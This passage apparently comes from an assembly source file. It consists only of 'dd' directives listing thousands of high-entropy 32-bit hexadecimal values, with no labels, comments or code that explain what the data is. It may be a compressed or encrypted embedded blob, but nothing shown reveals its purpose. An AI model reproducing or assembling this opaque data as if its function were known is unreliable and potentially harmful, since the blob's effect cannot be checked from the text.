0F6071ABh, 3D0F39B5h dd 8C114AA0h, 794A12BDh, 0EC00AC16h, 8A2FDBF7h, 0CC37015Bh dd 6C973B28h, 0E6660B5h, 590079EAh, 0E8757D76h, 0E355F9E0h dd 0EB15474h, 13963921h, 25D1D6E0h, 0EC5CA53Eh, 3D1670C0h dd 0E400469Ch, 0CB85FE2Bh, 5DE00008h, 14F81758h, 86004375h dd 0C95B031Eh, 3E1D36E7h, 0E3D0CE7Eh, 89B4C29h, 31AD5400h dd 47BC02E6h, 0EDE00498h, 0EF27301h, 6F92134Dh, 2240B231h dd 906225C8h, 0F9450076h, 6B0A88CAh, 12000B81h, 6DC6AAF1h dd 12ACFD20h, 0A776DCh, 9049361Fh, 0F81EC92Dh, 31CF2CE2h dd 0DF230169h, 0BDFC5D8Bh, 0B2630005h, 59AEC1E1h, 8F007DEDh dd 30DCCC9Eh, 395D8AE0h, 0F100066Bh, 0F56EA409h, 4A0041C2h dd 297A81BBh, 0FE9ADF7h, 4EDD82D2h, 0C1B74004h, 0C4A56304h dd 6B3BEFD8h, 2BBE17h, 6CD343BAh, 3F9CF953h, 840013C0h dd 0E771D48Bh, 5000FAE5h, 0F44E8647h, 6196575h, 392A68ABh dd 0C10031FBh, 8ED3FA2Dh, 3027A60h, 0FC242151h, 45E8CFCAh dd 0CD012F2Ah, 9D9FF176h, 65F4346Eh, 0AEEEFBh, 209870A9h dd 4CEA444Fh, 0FF00A671h, 0BC75F5D8h, 16F81Eh, 6B6C69Ch dd 0DFAF5802h, 4F25E801h, 0B0457D46h, 0B98B864h, 71F7C9BEh dd 7810F88Bh, 90241B10h, 0EB0E9483h, 4425810Fh, 0A820DA4Ah dd 106E241Dh, 5C8980C4h, 0B60D31BDh, 0BE472C16h, 1F1C3000h dd 5DB0DBh, 0FC60032Ah, 0FB19C70Ah, 5CAFD700h, 0E2070F6h dd 0FE32741Fh, 0AD51044Ah, 0B010F59Ch, 670F16D8h, 40B26470h dd 9054C052h, 0F41E1DB3h, 9784403Dh, 0F3E0F0CFh, 6FED0503h dd 0D0CEA089h, 204B2Bh, 0DE1C93Ah, 4A7E6A9Bh, 0FDC66B09h dd 887800E9h, 30223B5h, 0EB38D740h, 0FBB0E209h, 7302961Fh dd 2E683731h, 20E14070h, 69FCDAh, 0C619852h, 39674A2Dh dd 6A142103h, 0A8172646h, 765E7Eh, 0B1A33809h, 62863A88h dd 0AF87BA04h, 14E0FFB4h, 5F051327h, 8E350031h, 0EE3055D3h dd 12F5720Eh, 7CA8407Fh, 0EFB1E0h, 0AA0EB48Ah, 47AE113Fh dd 4C6EA103h, 0F8D17EEAh, 994EE8Bh, 5E84D7E0h, 0EBA2B40Eh dd 0D0527671h, 82A7F03Eh, 98A4BEDEh, 747AE1h, 0BD6391BFh dd 0BB6193D6h, 0AE3F50BAh, 0B55B80D2h, 0CC5EBED3h, 72C30059h dd 77C662C0h, 0B304A646h, 3D969DCBh, 0A3B91090h, 0D8BA10h dd 3F5D018Eh, 325CF195h, 8801B094h, 7AA4B4FBh, 0B02430BCh dd 0DD9F007Bh, 1BCBF223h, 1845E900h, 0B95531F1h, 0A6803FD5h dd 389D5680h, 11E8897Bh, 0DCF5BC1Ch, 95996240h, 299835h dd 2F6CA55Ah, 0F8BBE928h, 0F0ED44A1h, 0F0051F9h, 0C3B4332Ah dd 3E3CE9h, 34310CA7h, 0AB9C55B5h, 0F2533A28h, 20A3F029h dd 5CD99200h, 28369546h, 540CEBBCh, 0AF7C9Ch, 13A0F060h dd 3A41453Bh, 15240500h, 817AA90Fh, 0EAA61E62h, 0D842C7ACh dd 2F378084h, 0F8043B56h, 82119593h, 0C845BC93h, 0B76A57h dd 255380EFh, 70FA3EC7h, 30003C7Bh, 8EA3FEB8h, 18CC4B2Fh dd 38CBFDFBh, 900F829Fh, 81B16602h, 0F7A2AC12h, 0C09AF560h dd 4C4E17B1h, 5005E34h, 0A5C143FFh, 0A01C2B29h, 1FBD3D68h dd 17E10C80h, 10E201E6h, 0CC87C68Ah, 0DC4A3541h, 202DE00Eh dd 0FC9E1C52h, 33F007B2h, 0C1329C81h, 0E8BE7DCBh, 5C003196h dd 0EB7B43CFh, 4B8F9DDh, 0C9BB4C95h, 8008BC10h, 0E645F62Ch dd 9BCA0F32h, 9ADD3558h, 9BC1B14Ch, 1FB8BC12h, 0DB00642Fh dd 0FBE50FFEh, 0E9801FC4h, 0EBA980F0h, 372D1B14h, 9F5E3AC1h dd 0FC0C146h, 23D700B2h, 0CDE29401h, 0A300ED28h, 97B00721h dd 0D2E53Bh, 2324BE77h, 0ADF31F78h, 30C060E6h, 0B7B109A0h dd 523F1DCDh, 40EE1CABh, 313214C2h, 0F2CC3AAh, 0E0008334h dd 0B9E1B429h, 56460099h dd 0A368F36Fh, 0B700C3BCh, 0F1FC695Ah, 32B916h, 29CF4706h dd 86F96101h, 45DF3Fh, 0F317FA2Eh, 7F6E96C6h, 0B36B0E63h dd 5A20C276h, 6ED0C6Dh, 944FF304h, 9C80F23Ah, 9828F897h dd 0C61C0057h, 52BDCACFh, 6105C984h, 0F1393E5h, 0A2E90478h dd 0FE041714h, 0ECD160Fh, 0CC778094h, 0D7181Ah, 1008244Bh dd 8526FAEEh, 16995600h, 1386E696h, 1D9D32A4h, 0CE10C829h dd 0E5EA8882h, 0F1654C88h, 1A10BC02h, 21BC8B80h, 0E01259D0h dd 89812D10h, 483C4102h, 94299063h, 3E8D519Dh, 4474C426h dd 7E84B860h, 83A896Bh, 6C2E4402h, 71192284h, 0F3113E42h dd 7501130h, 216EA811h, 34380852h, 11288494h, 36216FC5h dd 9035DB08h, 7AE58428h, 1F428A48h, 51C222Fh, 4C04400Fh dd 3DEAB1A1h, 58007BE0h, 326FDC81h, 0D100C11Fh, 7D1ABE8Ch dd 0CCDA9Ah, 2D7A3B16h, 30FA885h, 0BD7BD800h, 0B6E63A68h dd 348E3A57h, 43E08800h, 85E8E183h, 0F50CBC00h, 8033797Ch dd 634A00DAh, 876AAC92h, 0BC0676E0h, 5393150Dh, 0E9F80010h dd 54E19EEh, 0D8246B5Dh, 0BE803099h, 0FB8FD5B0h, 497E008Dh dd 0BF38F236h, 0E4187121h, 1540658Bh, 31CA0C91h, 7E67CA2h dd 3C5B4F00h, 5E427028h, 990B0057h, 9A04BE1Eh, 11E0F1F0h dd 69003B70h, 738AE4C0h, 1EC759h, 2B4E537Fh, 0DB0C8D28h dd 74923A7Ah, 8621EA18h, 79A392D9h, 0A47D0011h, 0A1B4FD14h dd 595C723Bh, 0FFDF0077h, 0A2FB63AEh, 44620EBDh, 2C373C8h dd 5A98D5A8h, 0B5007285h, 6CFB5C0Ch, 0FC0804h, 0AA10D45Dh dd 0B588455h, 3E221F03h, 0C953507Ah, 0D3E1DA13h, 2126F0h dd 0FE68BCFDh, 5C494FE1h, 2DC98103h, 886691CDh, 0F00BC6h dd 0F74093E4h, 0DD9C0627h, 637B79C0h, 15E6C1h, 0AFBC2348h dd 0DDB83A9h, 0BD059D7Bh, 1E4A8660h, 0FEABF301h, 91F8C6A0h dd 44FA3A41h, 2F8705BBh, 0D06518A2h, 24119368h, 0C202C573h dd 62B7859Dh, 7A53E038h, 7C6628B1h, 33390088h, 7B016436h dd 8D037D9Bh, 0A7DD8589h, 0E05EF3DBh, 5C37A3C1h, 3B28EA9Fh dd 0D19602D8h, 8587B435h, 0AE548880h, 36C116FDh, 52714234h dd 24C035FCh, 0C4B31h, 0FBAA6BFFh, 0FD015A9Ah, 2F7B9C3Eh dd 9C6469E6h, 956507B3h, 0E75CBAC4h, 0FC0ED0C0h, 6B006781h dd 2E0DF8DAh, 3695D6Ch, 27AC9DDCh, 0C000581Dh, 7AA10944h dd 7212B2Ah, 81666BB6h, 64882054h, 0C9004DDEh, 9B707824h dd 0FC62588Ch, 22B807CEh, 535616EBh, 0D1A0F8DDh, 3200DE0Dh dd 1E431ADAh, 601B53C6h, 38ECF066h, 7B00C8CBh, 5019A239h dd 73377A97h, 64100E8h, 0B06A7820h, 11026F15h, 72DD3BA7h dd 0A28080CEh, 2E6E1273h, 0AD20B1h, 14057110h, 0F800DC39h dd 25F489A5h, 1DAF2D5h, 88A1A86Bh, 0E4B6DD4Fh, 412E8FD0h dd 3B00D2C5h, 9903293Ch, 0A10100CEh, 0F613F735h, 0B714339Eh dd 51A49A47h, 8A14247Bh, 301CC000h, 9CFC6176h, 60FF01D7h dd 3A9EABF9h, 6DBBDC9Dh, 5ADB3701h, 0EFC8A64Dh, 3D1ACD70h dd 0FC01889Ah, 91AE7796h, 0E3E420E4h, 223D00B8h, 822A007Ch dd 0F5115CE6h, 5DCA464h, 2D8D5E8Eh, 0CC126Fh, 0EF0CF624h dd 0DA03634Bh, 9939CD1Eh, 9FF298AFh, 0C6BD008Fh, 1DE410EBh dd 94E64D7Dh, 450A2426h, 3FA3C800h, 0A503F1h, 0EEDDC118h dd 0DB9F9AEAh, 0B3BD5D00h, 0AACD99F6h, 0E6D0001Ch, 4BC2F3C3h dd 0C6009018h, 8F86A951h, 0C05B5025h, 0F3BBE058h, 0AC00F7EAh dd 10927C6Ch, 0E38DB0Ah, 2A232DC5h, 0ABA65101h, 59A4409Ch dd 0A8A08847h, 0C0002CA1h, 20CC8CD8h, 68753Ch, 0AD09E05h dd 0D6BD396Eh, 3B7FC4C0h, 0B23F1Dh, 93D877DAh, 7379D27Bh dd 5C3C400h, 9C36842Ch, 4961007Ch, 0B27EDF67h, 0B00E5127h dd 0E087128Bh, 0E6F11E83h, 3E42F0F8h, 724BEAh, 0C79C3711h dd 0BF5605A1h, 5F00E272h, 67F1DC91h, 0DB7599h, 1CE8EBCAh dd 0B61AFC93h, 0C5BB3016h, 0ABD53207h, 7479F940h, 33771350h dd 225A0743h, 200FE71Fh, 1AABA427h, 542D6C03h, 0EFC68388h dd 196D94E0h, 82B70058h, 7AAD8C0Ah, 111E662Eh, 0A99890ABh dd 0E5137D8h, 1D850D70h, 0C07BA3E0h, 2100AFC9h, 0B5758D42h dd 0C36AB3h, 0BB391FF4h, 8218B83Fh, 0F047A40Eh, 4BE3E0CAh dd 0E9473B5h, 37DD0F2Dh, 6C43AE60h, 0C00097C9h, 5DD58478h dd 3EBCE23h, 9AD37396h, 74A0A8DDh, 0CB00A9C7h, 72D8B7BAh dd 71DDAh, 9E4C02CCh, 71936378h, 5BBCD100h, 3D1B4D52h dd 0AD201EABh, 4A89C5F2h, 0EF81C002h, 0DA00BA6Eh, 3A5B358Bh dd 3061224h, 988CC6A5h, 0D5D02BFCh, 3800CCA9h, 26730974h dd 0D6316h, 0ADCEB786h, 0F9BFF3E7h, 0F4852128h, 4540E072h dd 7EE50083h, 0DA937D56h, 0A30F2A54h, 60E7CE12h, 79E42CDDh dd 0AD0E2549h, 9700C8D4h, 60801162h, 56A901BCh, 0C4D5AE2Fh dd 0A90EBE2h, 86EE8598h, 9CCB0202h, 40167054h, 944A45h dd 0E6685DCAh, 48F1EDAAh, 6AD89Dh, 74107C36h, 0E4AE207Ah dd 0BF2D3E00h, 0E9DAC411h, 0CA2107A9h, 0E0E15F07h, 3E95EC3Ch dd 0B63853E4h, 0AE1480A3h, 7BAA8D89h, 1EF90525h, 0D277D5h dd 97E1BC86h, 0F00082Dh, 57A98EADh, 27D035h, 19B0B4Ah dd 0C3B22CDh, 79231D5Ch, 8900B6F0h, 0D63895C8h, 1C74F9h dd 0B2509F2Bh, 5730368Bh, 14DAF600h, 3D7955FEh, 0E641002Fh dd 85A8832Ah, 0B99824F5h, 68C2E903h, 0C86049CBh, 0E626C5B4h dd 5AFB002Dh, 573E3989h, 3A03B1EAh, 0CAAFA93h, 0FB379094h dd 28801469h, 4C288095h, 89D4EFBCh, 203203DFh, 0E14A63DDh dd 818BD6A1h, 3B705921h, 57D4EE8Ch, 31671F5Dh, 0A41500A8h dd 0B139BFFAh, 765E6200h, 0A3294F1Fh, 245B3F6Dh, 80B9A6h dd 0D997710Eh, 7200C677h, 829156ABh, 1AF3E04h, 16906110h dd 0FCF1BE3Dh, 0B80096A2h, 329AE269h, 0D1B462h, 246D9239h dd 689BDAABh, 7EFBD000h, 78552916h, 5DB3013Bh, 1845F17h dd 0B66C20FEh, 0E9CDFD00h, 4E6EC792h, 0AB234830h, 0AD80D700h dd 4CE53B09h, 0A81C7078h, 0B4801D39h, 91DE7DD8h, 78F6BDh dd 1A321874h, 0A6236455h, 6C8DCE24h, 0A9015C02h, 5A60685Eh dd 0AA4E1F93h, 1706262Ch, 0B3E7009Ch, 41BE489Ah, 0C2227100h dd 55080D67h, 0B1FD0094h, 22BE9F3h, 0BCA09CF8h, 5B133CDDh dd 32003F47h, 2AB0D265h, 4B62B55Ah, 80B87884h, 9D370F99h dd 119FC600h, 8CFC72C7h, 587D00BFh, 88E7F452h, 18008239h dd 44D76B5Eh, 2DAB0Ah, 0FC82CB4h, 7F43ACD2h, 3B0A753h dd 0E9DF2507h, 61448080h, 21D300EDh, 6250688Eh, 0E3007B02h dd 0EBE1141Fh, 0A49A8Bh, 666C1837h, 38B46B7Fh, 0C7ACF500h dd 99E7C261h, 0C0E002Bh, 0D9CF1917h, 9E60FFD4h, 8A471F8Ah dd 2D3300FDh, 0EBEA3F14h, 8490A94Ch, 52C52900h, 0B75BF57Eh dd 39D2001Ah, 0D3B3C317h, 95005D72h, 0B4FCD17Dh, 0E669CDABh dd 2693B00Eh, 0A3A10Bh, 46E44E6Bh, 0B004EFCEh, 0BEA35A3Fh dd 15E68481h, 30C3DD5h, 316DC614h, 137F00ACh, 2E4F632Ch dd 97E603C9h, 89E1E77Eh, 59782100h, 0A6F3067Fh, 8D1C1E99h dd 0DEE6C0FAh, 79FB187Ah, 7B5D03Dh, 1B3495A5h, 0F95FF9C3h dd 1420F215h, 0A6370350h, 0BDA70D49h, 94B96AC0h, 9E28C300h dd 2F656FE0h, 0AA61079Bh, 0C7E9ADh, 0D498B9A7h, 471E3B00h dd 162BDC5Fh, 0F8E101F3h, 0B4A6BE9Fh, 52B270A3h, 61CA7F01h dd 0A8954A91h, 20CDA440h dd 2CE200FEh, 0E88753C4h, 1E1CB39Dh, 0C2C03ED6h, 607DA64Ch dd 695600D5h, 0D06B4FCEh, 0C0BAD6Dh, 1082Eh, 4B62B36Bh dd 7E9C0A4Ch, 0A4BFFFh, 0A521B142h, 2E6FD9Fh, 0A948ED00h dd 0A6B9E4B8h, 0F37C88h, 0A16F584Ah, 5EE81B83h, 0DFD48200h dd 27EB1D7Fh, 24F24C93h, 68BFE10Fh, 0D094B580h, 3E1DC176h dd 22420D8Eh, 83BC19ACh, 0D138BD94h, 52DC0414h, 0E8C63DF7h dd 4F5CDF00h, 7760FCFBh, 7FF12618h, 1118C111h, 5FD43Eh dd 4DAFC2AAh, 2AEC3B7h, 0EB13A346h, 0C940907Dh, 3CEA17ABh dd 0FCB5B000h, 0D5D148C9h, 47AC0255h, 3E4025A3h, 0B1D00040h dd 77ED241Dh, 6F3AA583h, 87D48901h, 3BC91024h, 0C080FF1Bh dd 0EA82FA22h, 4D3C8404h, 0EBBC0002h, 0EFBAA8E2h, 0CB0C0E3Fh dd 1396986Ah, 5D6C5E43h, 15FC0037h, 92697504h, 95C834Ch dd 8948DAC8h, 98B0006Dh, 0EB8E50h, 998866C1h, 0D9D364FEh dd 0C1F2B00h, 9E9D39ADh, 0E03D0186h, 539CFBD8h, 0DDA270F2h dd 0F725100h, 76DFB471h, 2C5500E3h, 0E6579E85h, 5F01A4BFh dd 0A310A128h, 0C600BFAh, 2353038Ch, 8460B92Ah, 0D4711DC8h dd 877B4Ch, 11F647D5h, 0CF67BBh, 5863A843h, 8FE82F02h dd 750F2575h, 6001533Bh, 425D9A20h, 6A8602A3h, 0A6E743A1h dd 968023C3h, 71C0C4D8h, 421C8F38h, 69C985Ch, 0C71EA7C2h dd 6C00C8E9h, 0C1D23C51h, 0B82407D3h, 91490EECh, 18A05BE1h dd 0EFCFA177h, 994E4C0Fh, 55E0007Ch, 7E729CDh, 0A049214Ah dd 13F6F134h, 698CDC7Dh, 160777E2h, 3CCF2499h, 5BB19C11h dd 21230E0h, 53727BF5h, 9061A375h, 6B6C7095h, 0AE3C7402h dd 8147D4F2h, 0B030D5A2h, 5CDCD320h, 3A3AB97Eh, 0C74EF580h dd 0A2B7CE70h, 0FC838F26h, 245CC100h, 54C356h, 0AE34400Dh dd 25774613h, 45D1A2Eh, 0D2038420h, 0DC18D0A9h, 40BAB0B1h dd 21FD007Ah, 818A66C3h, 0EE00C763h, 0D6F998EBh, 6F350Ah dd 5732C93Eh, 0A12B4D12h, 5B556E00h, 8CECB52Dh, 9A056026h dd 59378652h, 0CA3CA016h, 20554C0Fh, 3892C4BEh, 0AC7B006Ch dd 6840A1C1h, 3C01F543h, 0E5220E53h, 72CC3101h, 0FAC10045h dd 1AA4D081h, 5200461Ch, 4C75C64h, 4941E2h, 26CD224Bh dd 3E280729h, 0F45F3502h, 4027CB7Ch, 815090h, 0AD82D108h dd 0D5A1B755h, 1CCAB0Fh, 57268037h, 0E394BFh, 0E19A786Eh dd 45E2BA95h, 1984C900h, 0F91BCC4Fh, 24C20081h, 35C78808h dd 0DE3A8D0Dh, 70EA5828h, 4C9A1700h, 0B6F9DC25h, 36C1003Dh dd 884DF3A4h, 0B200646Dh, 381B5FF4h, 41EA6Fh, 81774BA0h dd 251F31E9h, 72C1CA00h, 54C2EEE1h, 0E680015Bh, 2060BB2Ch dd 1870F016h, 2555F800h, 1AD41C6Ah, 0E50A0462h, 0C02C2D24h dd 0AE8FCE6Dh, 0F0090F6h, 0EC293BE0h, 0C52306h, 7C5F9BF7h dd 0F2218D20h, 0C7311401h, 2F390EE5h, 37D0FCh, 87C830Bh dd 43237129h, 2ECE6F58h, 18006151h, 35B26703h, 0F6B9130Eh dd 0BD1449ABh, 55A0E800h, 3C2EB6D9h, 0C3006B04h, 2446D8F7h dd 0E8F90015h, 121FB701h, 0A803B3BFh, 0A03658D0h, 406C821Ah dd 98A505B4h, 11BB033Fh, 98019EBh, 0C0C874A7h, 6FF1E48Ch dd 0F25C7D14h, 0AD00A86h, 0A026DD95h, 91AF8E00h, 26F4563Eh dd 808C62BFh, 0DB8C722Bh, 13EE355Bh, 201CC926h, 71D47E00h dd 0C01776BFh, 0E7C43940h, 1E1FAB4Dh, 60039910h, 1EE4CC5Ah dd 409ED998h, 0ACC4D7D0h, 0DF00CF93h, 79F7A634h, 76A3AD3h dd 7A6B184Ch, 616C3045h, 5A00A88Ah, 9FC35549h, 93D2Dh dd 0B8020F6Fh, 0F38648A0h, 0B08AEA1Dh, 0D98A800h, 0E54269h dd 0C6674A2Bh, 3293FBB6h, 0D1AE5300h, 24033BA5h, 83750142h dd 6321E8F8h, 0A9F3FC47h, 330BB500h, 71B7C04Fh, 1E381E13h dd 42DC40D3h, 7F18BC32h, 6E9EB207h, 0BEA0CD26h, 0A0ACC337h dd 0B7C91DCh, 1070F5CAh, 0B65C0180h, 3C0F3B8Fh, 60D5EA4Bh dd 397549F2h, 0E2450003h, 819C8716h, 0FA0918F1h, 0C6D51Ch dd 2864B5C0h, 2AC116F0h, 9ED400BAh, 0CA7A368Dh, 0D9C6A11Fh dd 0DA340E03h, 0A0C0AC22h, 0F86167h, 0EA8B7636h, 0A30E3E19h dd 63627400h, 0A2D63F40h, 8C2300CDh, 8EC5165Bh, 2C1389B0h dd 54000E18h, 552B746Dh, 0C46700B1h, 489DF9A8h, 0E60E2377h dd 0F7E2C902h, 4E254000h, 4A2FE9h, 47FFBB39h, 0C7A4D99Ah dd 42C9B48h, 84127515h, 0E1AF7BC0h, 1227B4Ah, 0F387EB41h dd 0C8EE89A5h, 0BF01EA03h, 3390327Dh, 91D4101Dh, 0D3FB00BAh dd 70DD5DF3h, 0C000A154h, 0B7AA5C4h, 0E2464BADh, 3DCB0663h dd 0F829DD50h, 96F7E000h, 0FE8B9E13h, 768960Dh, 30DC0AFDh dd 0B51811B2h, 48D7EA12h, 8090D4h, 24675CC4h, 9580977h dd 0AC022E83h, 0D6E3E1CBh, 85D6AB8h, 0CEEFC500h, 0EB5671F4h dd 8ECF0351h, 0B3C64EECh, 0A8E93A01h, 0C22A32Fh, 50358870h dd 79C8C1Ch, 347DB175h, 385E3092h, 0AE3CD174h, 97DF8055h dd 61BB73CDh, 0DE709Fh, 765059C6h, 6E46AC2Fh, 0E840C91Dh dd 98F6A43Bh, 0AAE6FE0Eh, 813CDCF7h, 2C21BB4Ch, 0E2C0DD44h dd 0AD851842h, 7F9C8B3h, 0D6A1DA00h, 0D461667Ah, 0CA7C34h dd 0EBDE326Eh, 45644B83h, 378C6803h, 0F05607DBh, 2546D4h dd 0C47E0FA2h, 43D7D63Dh, 3547E51Ch, 12E100FFh, 4FC9382Bh dd 0D96B163Bh, 5A0C0164h, 0C435D33Eh, 4503D47Bh, 167D6A6Dh dd 5E38D03Ah, 0BDC200EDh, 94B0B11Ah, 77D8DEEh, 0C4374F07h dd 0CC708128h, 0B954C6h, 7922DDF9h, 6EFD6CB4h, 95D3A3Fh dd 0AF1705h, 7EA14DACh, 47A90061h, 0DA77FED3h, 4800A733h dd 0C9419EBEh, 0F0E1FD21h, 4DE902D7h, 0EE50EACFh, 8FAECC60h dd 10002AE2h, 0CCCBE033h, 487EFC23h, 0C202ACBCh, 26DDA231h dd 0CFB52848h, 35F4A972h, 977CBA03h, 0D3DA5569h, 9C08F01Ch dd 577203A5h, 0B8AE463Eh, 0AF6410F0h, 8EF27B01h, 2278565Bh dd 7344420h, 16A5A93h, 1BD7906Fh, 0D11DFDBDh, 47C0B751h dd 0E1708C57h, 0FABB0007h, 64AF42CEh, 0D0025F8Eh, 1E98B9B5h dd 7808C069h, 0F49C07A3h, 49AB7AADh, 0A312040h, 0C22FD000h dd 1BC97EE3h, 0E2193079h, 9FAA27C9h, 66F84401h, 92FAB3C5h dd 0FE1EC2D8h, 3BA00055h, 9E5C2CA7h, 0E90923C8h, 80AB80DEh dd 2EC5A230h, 49A10F84h, 0EEE02B72h, 46ADBB28h, 0DF180C00h dd 0DA270B48h, 65360FFEh, 0A8385C3Dh, 5A18A6DDh, 0A348B3F2h dd 0EC440B11h, 9180C823h, 4E6E4C5Ch, 5F2A1C3h, 698F973h dd 4364D180h, 4CC118Ah, 0A2B47650h, 0D17B0700h, 0D4735078h dd 977A293Eh, 0B75B4074h, 0C60C0190h, 91832F74h, 6E2A7DACh dd 320614Fh, 8DDEE209h, 0C8BFCF28h, 5201FE77h, 4A93F47Fh dd 78806888h, 1B7BC35Ch, 54073E82h, 1E9663BEh, 3D4828A6h dd 53057821h, 933138C7h, 62F824D4h, 2766C2Ah, 0BA04097Eh dd 730FEDF0h, 0EE486080h, 0CE9001DEh, 0C19E1BB0h, 4FA86039h dd 6BFF6302h, 0C2BF188Ah, 0CD9C0180h, 0E180CCE0h, 0E3268770h dd 5E03E502h, 1AA772D3h, 32DAC986h, 15B09450h, 0E940606Ah dd 0E060AB4h, 0D4F4E0C0h, 601C7A4Ch, 0AB2451E1h, 2FEA1F11h dd 946952h, 1BB7741Ah, 1ED2A06h, 0F6AAC909h, 50CE2EE0h dd 0C16795Ch, 0E8CB8B00h, 0BA835E9Ah, 974D00EBh, 4BA763C4h dd 0A818A18Ah, 32987C6Dh, 31611022h, 52B7001Dh, 0EFC12F07h dd 0B92C007Fh, 977233D6h, 7E059295h, 52F9F1E5h, 69088C04h dd 1CBB0CC1h, 7C5166F5h dd 0E9805D0Ch, 0A065AA13h, 0A4002F83h, 86C890D3h, 34CB62h dd 1B2953F4h, 0C194B154h, 0D87216F0h, 13AB4B00h, 12F8D752h dd 7AF60B79h, 0F380EE2Ah, 35901A7Ch, 0C22D4B1Eh, 0ACEA5080h dd 0E2E83Bh, 9C33BB8Eh, 28806607h, 9DBD6900h, 5F0292DCh dd 0B8E83E0Bh, 95B2FC80h, 0A1998DF0h, 0B3760A00h, 1F7247Eh dd 0D6C80FADh, 0EECCC77Dh, 0FF001810h, 0FB116BE5h, 336727Bh dd 0BF47DDFh, 7C02679h, 562C8DA7h, 0F9008F14h, 8CFCFB69h dd 0CC8F0053h, 4727C55Bh, 0E505D901h, 7F16F1DCh, 0D0F6E842h dd 0A0F8A025h, 2AEEA2BBh, 0F9C802Eh, 0C18836AAh, 0F80DF6C0h dd 6A013B9Ch, 1B832543h, 946137E0h, 227ACDCh, 6203F13h dd 6441DE0Ch, 81B040A4h, 72009C36h, 65B35321h, 619B7C7h dd 0B1F02006h, 8300400Ah, 0D7BD3E56h, 49F586Ch, 0F47E9B74h dd 1F5CAC1Ch, 0ACBC0CEDh, 130E509Ah, 51AFE0B1h, 34BBB8Fh dd 5F17F0F9h, 62B83F19h, 1E00446Fh, 28A74940h, 0E967FAh dd 9AF0B9F8h, 115D9574h, 6F377100h, 3CD7C308h, 63AD0440h dd 808D3442h, 0B0224C49h, 4762C500h, 1E30D57Ch, 507E003Ch dd 67F796B3h, 740AEBE3h, 0A49F16ABh, 8D91AA00h, 2D0E2Ch dd 0CF63C9EAh, 6BC36E4Bh, 131CAC9Eh, 3C2ACC0h, 2C1170h dd 8AB15F98h, 0EC573D35h, 0F212DF00h, 0E2D37955h, 9DFB00D9h dd 4AB79CFAh, 4101E76Dh, 7E288737h, 0D8531D10h, 529CF920h dd 0D8D59681h, 0C4282FDBh, 8F25A704h, 9D0F408h, 2CA062FEh dd 0CB8ADE93h, 0ADAA7F00h, 0CDEF9DFCh, 6396121Bh, 316C0360h dd 0EDC06D88h, 0B5079C99h, 43D29275h, 617D20B2h, 86D8E313h dd 547C00DDh, 5C8DF37Bh, 89605649h, 23AB1D54h, 0C35F1E79h dd 0B982C0BFh, 0BDF22742h, 8FBBDB00h, 0CAF313DFh, 0AAA31C73h dd 1DE38103h, 0DC65A91Bh, 0E0426D1h, 61054479h, 0BD192680h dd 0D932001Dh, 7597B207h, 438D16Eh, 0F94E80CEh, 0D3872DA0h dd 738C037Eh, 9FA50E3Ah, 0B6581890h, 25F18301h, 0E7776CCEh dd 9C4820h, 294786Ah, 1BF5D639h, 4AAC4200h, 812D24EEh dd 0EDCF0028h, 85E2043h, 0D424F2F7h, 820E62E1h, 0B9FCC3D9h dd 1FAAB804h, 685100F9h, 44264E65h, 3BE8A84Dh, 78F14B03h dd 0E00AE674h, 602166h, 0AA282932h, 6ECB04B6h, 57AC3B12h dd 0A6EBC005h, 0A900D89Bh, 961E2A57h, 7A00EB88h, 82A8342Eh dd 16B1B513h, 13DC2CD2h, 0DA5402E8h, 3CC89FCAh, 621E6C5Dh dd 75864A1Ch, 919EEBCh, 6D41982h, 0F262D490h, 0B372D000h dd 0BAB90F8Ch, 2AA22CAFh, 74E442E4h, 6F4B1468h, 270448h dd 0FC8F2272h, 21C06B3h, 12449AEh, 0E8CAA52Ch, 48726410h dd 53C9F5Ch, 0A279D25Eh, 0A7308481h, 0BE072C38h, 2146AB55h dd 2444FD1Ah, 4A2CF96Ch, 0E703E04Bh, 0CAB72842h, 38685A64h dd 0A1E2AF43h, 0C8209268h, 0F759A3h, 1B8E7AA8h, 622C1FEh dd 670A8600h, 44CC3E9Ah, 0D099C21Ah, 0B080D8DEh, 69BA8DF4h dd 6B180BECh, 5F822BB6h, 81A238B7h, 0CF6C6687h, 0CA78F0A5h dd 2F1DC9A6h, 8F9DAD80h, 93A442C7h, 388883DFh, 767AF375h dd 74F8E91h, 7F6FC405h, 399B2CB0h, 281843E5h, 94CFF933h dd 9EF50B00h, 9C3BBFB8h, 912307FEh, 60660E6Bh, 0B4FCDB41h dd 0DD32150Eh, 0A48FEA75h, 0EC008312h, 0B030BDC4h, 1C988Bh dd 6FCC2735h, 1F5D7F4Fh, 180E3B03h, 0C888E5BEh, 9470FED3h dd 8F1A80C4h, 0EDAD0D20h, 780CC306h, 1027DAh, 5E81D8Eh dd 0FB7D58B8h, 7EC69C01h, 7F123973h, 30385601h, 0DD005C85h dd 0FE1DB870h, 0FE2E287Ch, 9A1703C0h, 0B6D7A792h, 9B860788h dd 614A4E05h, 0DC528FD4h, 0CC15200Ah, 0F27AA080h, 1C5FBDE7h dd 0CAF5D09Dh, 8190FE7Dh, 0BAC39643h, 0C02E70C9h, 0A0D9DB03h dd 0C381E4B4h, 57500156h, 0C1069FA3h, 443C6Ch, 59E3825h dd 0B04E8B96h, 0BC350F38h, 0DA8FAEF3h, 3CE70F80h, 0B90F2B6Ch dd 0E051085Ah, 21478AFEh, 50A0007Ah, 94BD7EB8h, 3774A59Eh dd 74C34Ch, 0CEE61A80h, 1D460731h, 0F86D44h, 0C70C693Eh dd 271D2589h, 2CC595A4h, 0C902B01h, 284DC5h, 569080B5h dd 0FC5A1E8Bh, 0F052AD00h, 2D738496h, 421403BAh, 0AE06973Eh dd 3F592F80h, 0B61EF400h, 17EB8591h, 0CC6401F1h, 0FF7D7A2Ch dd 0DCE1C97Bh, 0AF00680Ah, 818DAA45h, 1D0D0FEFh, 0C2E364B0h dd 9BBE4D5Fh, 2A025040h, 0EC4D725h, 5EBB60F8h, 21BF994h dd 86A568FCh, 984056ABh, 0A9005A34h, 48A77084h, 7D070DE2h dd 67B000EFh, 0BB50AD8Dh, 0DC24317Bh, 4F053C91h, 58800492h dd 0E58FD32h, 9FC34419h, 7DD8CEC3h, 0F7D61590h, 50D0BD03h dd 0F09D7CE1h, 0B3015Bh, 0EC56141Dh, 9B48EE19h, 1CD96B5Ch dd 0B64311FFh, 90B2DE7Bh, 2E697516h, 97343FC8h, 30E42080h dd 0C0005CEh, 19F2DCADh, 90F098BAh, 0AA4D0030h, 0B8C9374Ah dd 0E20E5739h, 0C37ED5A9h, 982C8061h, 64C348h, 998860C6h dd 0BA51E107h, 559A3D00h, 4C43CF2h, 3C55FA3h, 